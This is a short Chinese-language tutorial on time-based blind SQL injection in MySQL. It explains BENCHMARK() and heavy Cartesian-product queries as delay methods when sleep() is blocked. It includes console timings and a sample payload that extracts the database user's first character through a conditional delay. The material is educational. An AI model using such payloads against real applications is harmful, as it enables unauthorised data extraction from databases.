sql時間盲注另外兩種方式(benchmark,heavy query)


在某些情況下進行時間盲注的時候,如果sleep()函數無法使用,我們可以使用以下兩種方式來達到延時的效果。

1.benchmark()

benchmark是Mysql的一個內置函數,其作用是來測試一些函數的執行速度。benchmark()中帶有兩個參數,第一個是執行的次數,第二個是要執行的函數或者是表達式

mysql> select BENCHMARK(10000,md5('a'));
+---------------------------+
| BENCHMARK(10000,md5('a')) |
+---------------------------+
|                         0 |
+---------------------------+
1 row in set (0.00 sec)

mysql> select BENCHMARK(1000000,md5('a'));
+-----------------------------+
| BENCHMARK(1000000,md5('a')) |
+-----------------------------+
|                           0 |
+-----------------------------+
1 row in set (0.33 sec)

mysql> select BENCHMARK(10000000,md5('a'));
+------------------------------+
| BENCHMARK(10000000,md5('a')) |
+------------------------------+
|                            0 |
+------------------------------+
1 row in set (2.93 sec)

可以看到,執行不同的次數那么執行的時間也就不一樣,通過這個函數我們可以達到與sleep()同樣的延時目的。

測試:

mysql> select 1 and if((substr(user(),1,1)='r'),BENCHMARK(10000000,md5('a')),1);
+-------------------------------------------------------------------+
| 1 and if((substr(user(),1,1)='r'),BENCHMARK(10000000,md5('a')),1) |
+-------------------------------------------------------------------+
|                                                                 0 |
+-------------------------------------------------------------------+
1 row in set (2.90 sec)

 

2.heavy query

heavy query顧名思義就是通過做大量的查詢導致查詢時間較長來達到延時的目的。通常選擇一些比較大的表做笛卡爾積運算。

 

參考鏈接:

http://www.sqlinjection.net/heavy-query/

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM